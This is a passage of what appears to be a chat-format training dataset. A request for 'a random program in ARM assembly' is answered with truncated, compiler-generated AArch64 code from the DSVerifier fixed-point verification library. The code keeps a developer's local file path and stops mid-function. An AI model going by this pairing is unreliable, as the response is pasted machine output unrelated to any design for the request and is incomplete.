.xword .LC5
.xword 0
.xword 0
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
mov w5, 4352
adrp x0, envp
add x4, x0, :lo12:envp
adrp x0, argv
add x3, x0, :lo12:argv
adrp x0, .LC0
add x2, x0, :lo12:.LC0
mov w1, -100
mov x0, 281
bl syscall
mov w0, 0
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global X_SIZE_VALUE
.bss
.align 2
.type X_SIZE_VALUE, %object
.size X_SIZE_VALUE, 4
X_SIZE_VALUE:
.zero 4
.global overflow_mode
.data
.align 2
.type overflow_mode, %object
.size overflow_mode, 4
overflow_mode:
.word 1
.global rounding_mode
.bss
.align 2
.type rounding_mode, %object
.size rounding_mode, 4
rounding_mode:
.zero 4
.text
.align 2
.global __DSVERIFIER_assume
.type __DSVERIFIER_assume, %function
__DSVERIFIER_assume:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
strb w0, [sp, 31]
ldrb w0, [sp, 31]
bl __CPROVER_assume
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size __DSVERIFIER_assume, .-__DSVERIFIER_assume
.section .rodata
.align 3
.LC0:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
.align 3
.LC1:
.string "expression"
.text
.align 2
.global __DSVERIFIER_assert
.type __DSVERIFIER_assert, %function
__DSVERIFIER_assert:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
strb w0, [sp, 31]
ldrb w0, [sp, 31]
cmp w0, 0
bne .L4
adrp x0, __PRETTY_FUNCTION__.21
add x3, x0, :lo12:__PRETTY_FUNCTION__.21
mov w2, 36
adrp x0, .LC0
add x1, x0, :lo12:.LC0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __assert_fail
.L4:
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size __DSVERIFIER_assert, .-__DSVERIFIER_assert
.section .rodata
.align 3
.LC2:
.string "%s"
.text
.align 2
.global __DSVERIFIER_assert_msg
.type __DSVERIFIER_assert_msg, %function
__DSVERIFIER_assert_msg:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
strb w0, [sp, 31]
str x1, [sp, 16]
ldr x1, [sp, 16]
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
ldrb w0, [sp, 31]
cmp w0, 0
bne .L7
adrp x0, __PRETTY_FUNCTION__.20
add x3, x0, :lo12:__PRETTY_FUNCTION__.20
mov w2, 41
adrp x0, .LC0
add x1, x0, :lo12:.LC0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __assert_fail
.L7:
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size __DSVERIFIER_assert_msg, .-__DSVERIFIER_assert_msg
.global _fxp_one
.bss
.align 3
.type _fxp_one, %object
.size _fxp_one, 8
_fxp_one:
.zero 8
.global _fxp_half
.align 3
.type _fxp_half, %object
.size _fxp_half, 8
_fxp_half:
.zero 8
.global _fxp_minus_one
.align 3
.type _fxp_minus_one, %object
.size _fxp_minus_one, 8
_fxp_minus_one:
.zero 8
.global _fxp_min
.align 3
.type _fxp_min, %object
.size _fxp_min, 8
_fxp_min:
.zero 8
.global _fxp_max
.align 3
.type _fxp_max, %object
.size _fxp_max, 8
_fxp_max:
.zero 8
.global _dbl_max
.align 3
.type _dbl_max, %object
.size _dbl_max, 8
_dbl_max:
.zero 8
.global _dbl_min
.align 3
.type _dbl_min, %object
.size _dbl_min, 8
_dbl_min:
.zero 8
.global _fxp_fmask
.align 3
.type _fxp_fmask, %object
.size _fxp_fmask, 8
_fxp_fmask:
.zero 8
.global _fxp_imask
.align 3
.type _fxp_imask, %object
.size _fxp_imask, 8
_fxp_imask:
.zero 8
.section .rodata
.align 3
.type scale_factor, %object
.size scale_factor, 248
scale_factor:
.word 0
.word 1072693248
.word 0
.word 1073741824
.word 0
.word 1074790400
.word 0
.word 1075838976
.word 0
.word 1076887552
.word 0
.word 1077936128
.word 0
.word 1078984704
.word 0
.word 1080033280
.word 0
.word 1081081856
.word 0
.word 1082130432
.word 0
.word 1083179008
.word 0
.word 1084227584
.word 0
.word 1085276160
.word 0
.word 1086324736
.word 0
.word 1087373312
.word 0
.word 1088421888
.word 0
.word 1089470464
.word 0
.word 1090519040
.word 0
.word 1091567616
.word 0
.word 1092616192
.word 0
.word 1093664768
.word 0
.word 1094713344
.word 0
.word 1095761920
.word 0
.word 1096810496
.word 0
.word 1097859072
.word 0
.word 1098907648
.word 0
.word 1099956224
.word 0
.word 1101004800
.word 0
.word 1102053376
.word 0
.word 1103101952
.word 0
.word 1104150528
.align 3
.type scale_factor_inv, %object
.size scale_factor_inv, 248
scale_factor_inv:
.word 0
.word 1072693248
.word 0
.word 1071644672
.word 0
.word 1070596096
.word 0
.word 1069547520
.word 0
.word 1068498944
.word 0
.word 1067450368
.word 0
.word 1066401792
.word 0
.word 1065353216
.word 0
.word 1064304640
.word 0
.word 1063256064
.word 0
.word 1062207488
.word 0
.word 1061158912
.word 0
.word 1060110336
.word 0
.word 1059061760
.word 0
.word 1058013184
.word 0
.word 1056964608
.word 147574
.word 1055916032
.word -295148
.word 1054867455
.word 442722
.word 1053818880
.word 442722
.word 1052770304
.word -3836923
.word 1051721727
.word -3836923
.word 1050673151
.word -3836923
.word 1049624575
.word 16971005
.word 1048576000
.word 16971005
.word 1047527424
.word -117173718
.word 1046478847
.word -117173718
.word 1045430271
.word 243644596
.word 1044381696
.word -721636628
.word 1043333119
.word -721636628
.word 1042284543
.word 2057033325
.word 1041235968
.align 3
.type rand_uni, %object
.size rand_uni, 40000
rand_uni:
.word -1090980738
.word -1112175576
.word -1106268981
.word 1050290517
.word 1036740293
.word 1064879289
.word 1065104477
.word 1057904025
.word 1058341827
.word -1105391874
.word 1053059208
.word -1096031224
.word 1064997005
.word -1098026844
.word 1053276161
.word -1103670874
.word 1060153685
.word -1084269022
.word -1082623921
.word -1089152099
.word -1089971858
.word -1099598916
.word -1087529625
.word 1051914755
.word -1101560469
.word 1062690036
.word -1091405365
.word 1059638621
.word -1087982995
.word -1082784013
.word -1113135698
.word 1058999736
.word -1085745433
.word 1019435440
.word 1053364041
.word 1061609359
.word 1035087920
.word 1063349407
.word 1063397950
.word -1098958981
.word -1087313908
.word 1058285497
.word -1082567766
.word -1108276165
.word -1086763766
.word -1091084444
.word -1085128895
.word -1091870424
.word 1041742704
.word 1055095857
.word -1096370585
.word 1057705193
.word -1104590464
.word 1040973022
.word 1057691271
.word 1055864390
.word -1095576813
.word -1087832828
.word 1063848842
.word 1064699740
.word -1085717922
.word 1050443251
.word 1057146058
.word 1036170702
.word 1043458992
.word 1041495254
.word 1016835224
.word -1097256952
.word 1050334643
.word -1086652520
.word 1060129563
.word 1040855016
.word 1057530281
.word -1156296968
.word -1089489913
.word 1055300184
.word -1089353932
.word 1064584069
.word -1098726324
.word -1086159967
.word -1084558434
.word -1105796200
.word -1097153790
.word -1088136037
.word -1094968157
.word 1056690938
.word -1089811181
.word -1083165686
.word 1060051278
.word 1050076832
.word 1004086943
.word -1083287383
.word 1042023236
.word 1059961369
.word -1089932017
.word 1064213982
.word -1122769874
.word -1084694163
.word -1082534712
.word 1059033125
.word -1087813048
.word 1060730859
.word 1050505517
.word 1005731364
.word -1094086494
.word 1023443447
.word 1033720214
.word -1087967840
.word 1063074669
.word -1089027007
.word 1056830924
.word -1084263516
.word 1064997214
.word -1090437037
.word -1091781398
.word 1013462154
.word 1061487913
.word 1064434379
.word -1085783916
.word -1084945539
.word 1061085669
.word -1087214440
.word -1115018716
.word -1107539666
.word -1095244881
.word -1094079747
.word 1054997360
.word -1084992721
.word -1097179506
.word -1082193925
.word 1064256557
.word -1097819440
.word -1083345928
.word -1092631710
.word -1095202339
.word 1064506801
.word 1057011326
.word 1062010719
.word -1090327798
.word 1050565392
.word -1101775798
.word 1064188676
.word -1085871250
.word -1090877093
.word -1106652338
.word 1049776288
.word 1044034835
.word -1089778989
.word 1049530284
.word -1089574061
.word 1058290743
.word 1040834867
.word 1058690157
.word -1105506895
.word 1043924977
.word -1087975760
.word 1049620521
.word -1089176069
.word 1060116763
.word 1049562456
.word -1084589500
.word -1089971946
.word -1085130923
.word -1103519824
.word -1082400569
.word -1111129859
.word 1063355442
.word 1037186736
.word 1063568378
.word -1098596375
.word 1060308102
.word 1053707835
.word -1109212671
.word 1034768304
.word 1062345615
.word 1061923599
.word -1090681976
.word 1049352786
.word -1098295281
.word 1047366845
.word 1060222933
.word 1063003581
.word 1064673460
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.text
.align 2
.global wrap
.type wrap, %function
wrap:
.LFB9:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 24]
str x1, [sp, 16]
str x2, [sp, 8]
ldr x0, [sp, 8]
mov w1, w0
ldr x0, [sp, 16]
sub w0, w1, w0
add w0, w0, 1
str w0, [sp, 44]
ldr x1, [sp, 24]
ldr x0, [sp, 16]
cmp x1, x0
bge .L9
ldrsw x1, [sp, 44]
ldr x2, [sp, 16]
ldr x0, [sp, 24]
sub x2, x2, x0
ldrsw x0, [sp, 44]
sdiv x0, x2, x0
add x0, x0, 1
mul x0, x1, x0
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
.L9:
ldr x1, [sp, 24]
ldr x0, [sp, 16]
sub x0, x1, x0
ldrsw x1, [sp, 44]
sdiv x2, x0, x1
mul x1, x2, x1
sub x1, x0, x1
ldr x0, [sp, 16]
add x0, x1, x0
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size wrap, .-wrap
.align 2
.global fxp_get_int_part
.type fxp_get_int_part, %function
fxp_get_int_part:
.LFB10:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
ldr x0, [sp, 8]
cmp x0, 0
bge .L12
ldr x0, [sp, 8]
neg x1, x0
adrp x0, _fxp_imask
add x0, x0, :lo12:_fxp_imask
ldr x0, [x0]
and x0, x1, x0
neg x0, x0
b .L14
.L12:
adrp x0, _fxp_imask
add x0, x0, :lo12:_fxp_imask
ldr x1, [x0]
ldr x0, [sp, 8]
and x0, x1, x0
.L14:
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size fxp_get_int_part, .-fxp_get_int_part
.align 2
.global fxp_get_frac_part
.type fxp_get_frac_part, %function
fxp_get_frac_part:
.LFB11:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
ldr x0, [sp, 8]
cmp x0, 0
bge .L16
ldr x0, [sp, 8]
neg x1, x0
adrp x0, _fxp_fmask
add x0, x0, :lo12:_fxp_fmask
ldr x0, [x0]
and x0, x1, x0
neg x0, x0
b .L18
.L16:
adrp x0, _fxp_fmask
add x0, x0, :lo12:_fxp_fmask
ldr x1, [x0]
ldr x0, [sp, 8]
and x0, x1, x0
.L18:
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size fxp_get_frac_part, .-fxp_get_frac_part
.align 2
.global fxp_quantize
.type fxp_quantize, %function
fxp_quantize:
.LFB12:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
adrp x0, overflow_mode
add x0, x0, :lo12:overflow_mode
ldr w0, [x0]
cmp w0, 2
bne .L20
adrp x0, _fxp_min
add x0, x0, :lo12:_fxp_min
ldr x0, [x0]
ldr x1, [sp, 24]
cmp x1, x0
bge .L21
adrp x0, _fxp_min
add x0, x0, :lo12:_fxp_min
ldr x0, [x0]
b .L22
.L21:
adrp x0, _fxp_max
add x0, x0, :lo12:_fxp_max
ldr x0, [x0]
ldr x1, [sp, 24]
cmp x1, x0
ble .L23
adrp x0, _fxp_max
add x0, x0, :lo12:_fxp_max
ldr x0, [x0]
b .L22
.L20:
adrp x0, overflow_mode
add x0, x0, :lo12:overflow_mode
ldr w0, [x0]
cmp w0, 3
bne .L23
adrp x0, _fxp_min
add x0, x0, :lo12:_fxp_min
ldr x0, [x0]
ldr x1, [sp, 24]
cmp x1, x0
blt .L24
adrp x0, _fxp_max
add x0, x0, :lo12:_fxp_max
ldr x0, [x0]
ldr x1, [sp, 24]
cmp x1, x0
ble .L23
.L24:
adrp x0, _fxp_min
add x0, x0, :lo12:_fxp_min
ldr x1, [x0]
adrp x0, _fxp_max
add x0, x0, :lo12:_fxp_max
ldr x0, [x0]
mov x2, x0
ldr x0, [sp, 24]
bl wrap
b .L22
.L23:
ldr x0, [sp, 24]
.L22:
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size fxp_quantize, .-fxp_quantize
.section .rodata
.align 3
.LC3:
.string "An Overflow Occurred in system's output"
.text
.align 2
.global fxp_verify_overflow
.type fxp_verify_overflow, %function
fxp_verify_overflow:
.LFB13:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
bl fxp_quantize
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
adrp x0, _fxp_max
add x0, x0, :lo12:_fxp_max
ldr x0, [x0]
ldr x1, [sp, 24]
cmp x1, x0
bgt .L26
adrp x0, _fxp_min
add x0, x0, :lo12:_fxp_min
ldr x0, [x0]
ldr x1, [sp, 24]
cmp x1, x0
blt .L26
mov w0, 1
b .L27
.L26:
mov w0, 0
.L27:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assert
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE13:
.size fxp_verify_overflow, .-fxp_verify_overflow
.align 2
.global fxp_verify_overflow_node
.type fxp_verify_overflow_node, %function
fxp_verify_overflow_node:
.LFB14:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
str x1, [sp]
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE14:
.size fxp_verify_overflow_node, .-fxp_verify_overflow_node
.align 2
.global fxp_verify_overflow_array
.type fxp_verify_overflow_array, %function
fxp_verify_overflow_array:
.LFB15:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str wzr, [sp, 44]
str wzr, [sp, 44]
b .L30
.L31:
ldrsw x0, [sp, 44]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr x0, [x0]
bl fxp_verify_overflow
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L30:
ldr w1, [sp, 44]
ldr w0, [sp, 20]
cmp w1, w0
blt .L31
nop
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE15:
.size fxp_verify_overflow_array, .-fxp_verify_overflow_array
.align 2
.global fxp_int_to_fxp
.type fxp_int_to_fxp, %function
fxp_int_to_fxp:
.LFB16:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, 12]
ldrsw x1, [sp, 12]
adrp x0, _fxp_one
add x0, x0, :lo12:_fxp_one
ldr x0, [x0]
mul x0, x1, x0
str x0, [sp, 24]
ldr x0, [sp, 24]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE16:
.size fxp_int_to_fxp, .-fxp_int_to_fxp
.align 2
.global fxp_to_int
.type fxp_to_int, %function
fxp_to_int:
.LFB17:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
ldr x0, [sp, 8]
cmp x0, 0
blt .L35
adrp x0, _fxp_half
add x0, x0, :lo12:_fxp_half
ldr x0, [x0]
ldr x1, [sp, 8]
add x0, x1, x0
str x0, [sp, 8]
b .L36
.L35:
adrp x0, _fxp_half
add x0, x0, :lo12:_fxp_half
ldr x0, [x0]
ldr x1, [sp, 8]
sub x0, x1, x0
str x0, [sp, 8]
.L36:
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 4]
ldr x1, [sp, 8]
asr x0, x1, x0
str x0, [sp, 8]
ldr x0, [sp, 8]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE17:
.size fxp_to_int, .-fxp_to_int
.align 2
.global fxp_float_to_fxp
.type fxp_float_to_fxp, %function
fxp_float_to_fxp:
.LFB18:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str s0, [sp, 12]
ldr s0, [sp, 12]
fcvt d1, s0
adrp x0, impl
add x0, x0, :lo12:impl
ldr w1, [x0, 4]
adrp x0, scale_factor
add x0, x0, :lo12:scale_factor
sxtw x1, w1
ldr d0, [x0, x1, lsl 3]
fmul d0, d1, d0
str d0, [sp, 24]
ldr s0, [sp, 12]
fcmpe s0, #0.0
bge .L43
b .L44
.L43:
ldr d1, [sp, 24]
fmov d0, 5.0e-1
fadd d0, d1, d0
fcvtzs d0, d0
str d0, [sp, 16]
b .L41
.L44:
ldr d1, [sp, 24]
fmov d0, 5.0e-1
fsub d0, d1, d0
fcvtzs d0, d0
str d0, [sp, 16]
.L41:
ldr x0, [sp, 16]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE18:
.size fxp_float_to_fxp, .-fxp_float_to_fxp
.align 2
.global fxp_double_to_fxp
.type fxp_double_to_fxp, %function
fxp_double_to_fxp:
.LFB19:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str d0, [sp, 8]
adrp x0, impl
add x0, x0, :lo12:impl
ldr w1, [x0, 4]
adrp x0, scale_factor
add x0, x0, :lo12:scale_factor
sxtw x1, w1
ldr d0, [x0, x1, lsl 3]
ldr d1, [sp, 8]
fmul d0, d1, d0
str d0, [sp, 32]
adrp x0, rounding_mode
add x0, x0, :lo12:rounding_mode
ldr w0, [x0]
cmp w0, 0
bne .L46
ldr d0, [sp, 8]
fcmpe d0, #0.0
bge .L53
b .L55
.L53:
ldr d1, [sp, 32]
fmov d0, 5.0e-1
fadd d0, d1, d0
fcvtzs d0, d0
str d0, [sp, 24]
b .L49
.L55:
ldr d1, [sp, 32]
fmov d0, 5.0e-1
fsub d0, d1, d0
fcvtzs d0, d0
str d0, [sp, 24]
b .L49
.L46:
adrp x0, rounding_mode
add x0, x0, :lo12:rounding_mode
ldr w0, [x0]
cmp w0, 1
bne .L50
ldr d0, [sp, 32]
fcvtzs d0, d0
str d0, [sp, 24]
ldr d0, [sp, 24]
scvtf d0, d0
ldr d1, [sp, 32]
fsub d0, d1, d0
str d0, [sp, 40]
ldr d0, [sp, 8]
fcmpe d0, #0.0
bmi .L54
b .L49
.L54:
ldr d0, [sp, 40]
fcmp d0, #0.0
beq .L49
ldr d1, [sp, 32]
fmov d0, 1.0e+0
fsub d0, d1, d0
str d0, [sp, 32]
ldr d0, [sp, 32]
fcvtzs d0, d0
str d0, [sp, 24]
b .L49
.L50:
adrp x0, rounding_mode
add x0, x0, :lo12:rounding_mode
ldr w0, [x0]
cmp w0, 0
bne .L49
ldr d0, [sp, 32]
fcvtzs d0, d0
str d0, [sp, 24]
.L49:
ldr x0, [sp, 24]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE19:
.size fxp_double_to_fxp, .-fxp_double_to_fxp
.align 2
.global fxp_float_to_fxp_array
.type fxp_float_to_fxp_array, %function
fxp_float_to_fxp_array:
.LFB20:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -64
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str wzr, [sp, 76]
b .L57
.L58:
ldrsw x0, [sp, 76]
lsl x0, x0, 2
ldr x1, [sp, 56]
add x0, x1, x0
ldr s0, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x19, x1, x0
bl fxp_float_to_fxp
str x0, [x19]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L57:
ldr w1, [sp, 76]
ldr w0, [sp, 44]
cmp w1, w0
blt .L58
nop
nop
ldr x19, [sp, 16]
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE20:
.size fxp_float_to_fxp_array, .-fxp_float_to_fxp_array
.align 2
.global fxp_double_to_fxp_array
.type fxp_double_to_fxp_array, %function
fxp_double_to_fxp_array:
.LFB21:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -64
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str wzr, [sp, 76]
b .L60
.L61:
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x19, x1, x0
bl fxp_double_to_fxp
str x0, [x19]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L60:
ldr w1, [sp, 76]
ldr w0, [sp, 44]
cmp w1, w0
blt .L61
nop
nop
ldr x19, [sp, 16]
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE21:
.size fxp_double_to_fxp_array, .-fxp_double_to_fxp_array
.align 2
.global fxp_to_float
.type fxp_to_float, %function
fxp_to_float:
.LFB22:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
ldr x0, [sp, 8]
str w0, [sp, 24]
ldr w0, [sp, 24]
scvtf d1, w0
adrp x0, impl
add x0, x0, :lo12:impl
ldr w1, [x0, 4]
adrp x0, scale_factor_inv
add x0, x0, :lo12:scale_factor_inv
sxtw x1, w1
ldr d0, [x0, x1, lsl 3]
fmul d0, d1, d0
fcvt s0, d0
str s0, [sp, 28]
ldr s0, [sp, 28]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE22:
.size fxp_to_float, .-fxp_to_float
.align 2
.global fxp_to_double
.type fxp_to_double, %function
fxp_to_double:
.LFB23:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
ldr x0, [sp, 8]
str w0, [sp, 20]
ldr w0, [sp, 20]
scvtf d1, w0
adrp x0, impl
add x0, x0, :lo12:impl
ldr w1, [x0, 4]
adrp x0, scale_factor_inv
add x0, x0, :lo12:scale_factor_inv
sxtw x1, w1
ldr d0, [x0, x1, lsl 3]
fmul d0, d1, d0
str d0, [sp, 24]
ldr d0, [sp, 24]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE23:
.size fxp_to_double, .-fxp_to_double
.align 2
.global fxp_to_float_array
.type fxp_to_float_array, %function
fxp_to_float_array:
.LFB24:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -64
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str wzr, [sp, 76]
b .L67
.L68:
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
ldr x2, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 2
ldr x1, [sp, 56]
add x19, x1, x0
mov x0, x2
bl fxp_to_float
str s0, [x19]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L67:
ldr w1, [sp, 76]
ldr w0, [sp, 44]
cmp w1, w0
blt .L68
nop
nop
ldr x19, [sp, 16]
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE24:
.size fxp_to_float_array, .-fxp_to_float_array
.align 2
.global fxp_to_double_array
.type fxp_to_double_array, %function
fxp_to_double_array:
.LFB25:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -64
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str wzr, [sp, 76]
b .L70
.L71:
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
ldr x2, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
ldr x1, [sp, 56]
add x19, x1, x0
mov x0, x2
bl fxp_to_double
str d0, [x19]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L70:
ldr w1, [sp, 76]
ldr w0, [sp, 44]
cmp w1, w0
blt .L71
nop
nop
ldr x19, [sp, 16]
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE25:
.size fxp_to_double_array, .-fxp_to_double_array
.align 2
.global fxp_abs
.type fxp_abs, %function
fxp_abs:
.LFB26:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
csneg x0, x0, x0, ge
str x0, [sp, 40]
ldr x0, [sp, 40]
bl fxp_quantize
str x0, [sp, 40]
ldr x0, [sp, 40]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE26:
.size fxp_abs, .-fxp_abs
.align 2
.global fxp_add
.type fxp_add, %function
fxp_add:
.LFB27:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x1, [sp, 24]
ldr x0, [sp, 16]
add x0, x1, x0
str x0, [sp, 40]
ldr x0, [sp, 40]
bl fxp_quantize
str x0, [sp, 40]
ldr x0, [sp, 40]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE27:
.size fxp_add, .-fxp_add
.align 2
.global fxp_sub
.type fxp_sub, %function
fxp_sub:
.LFB28:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x1, [sp, 24]
ldr x0, [sp, 16]
sub x0, x1, x0
str x0, [sp, 40]
ldr x0, [sp, 40]
bl fxp_quantize
str x0, [sp, 40]
ldr x0, [sp, 40]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE28:
.size fxp_sub, .-fxp_sub
.align 2
.global fxp_mult
.type fxp_mult, %function
fxp_mult:
.LFB29:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x1, [sp, 24]
ldr x0, [sp, 16]
mul x0, x1, x0
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
blt .L79
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 4]
sub w0, w0, #1
mov w1, 1
lsl w0, w1, w0
sxtw x1, w0
ldr x0, [sp, 40]
and x0, x1, x0
lsl x1, x0, 1
ldr x0, [sp, 40]
add x1, x1, x0
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 4]
asr x0, x1, x0
str x0, [sp, 32]
b .L80
.L79:
ldr x0, [sp, 40]
neg x1, x0
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 4]
sub w0, w0, #1
mov w2, 1
lsl w0, w2, w0
sxtw x0, w0
and x0, x1, x0
lsl x1, x0, 1
ldr x0, [sp, 40]
sub x1, x1, x0
adrp x0, impl
add x0, x0, :lo12:impl
ldr w0, [x0, 4]
asr x0, x1, x0
neg x0, x0
str x0, [sp, 32]
.L80:
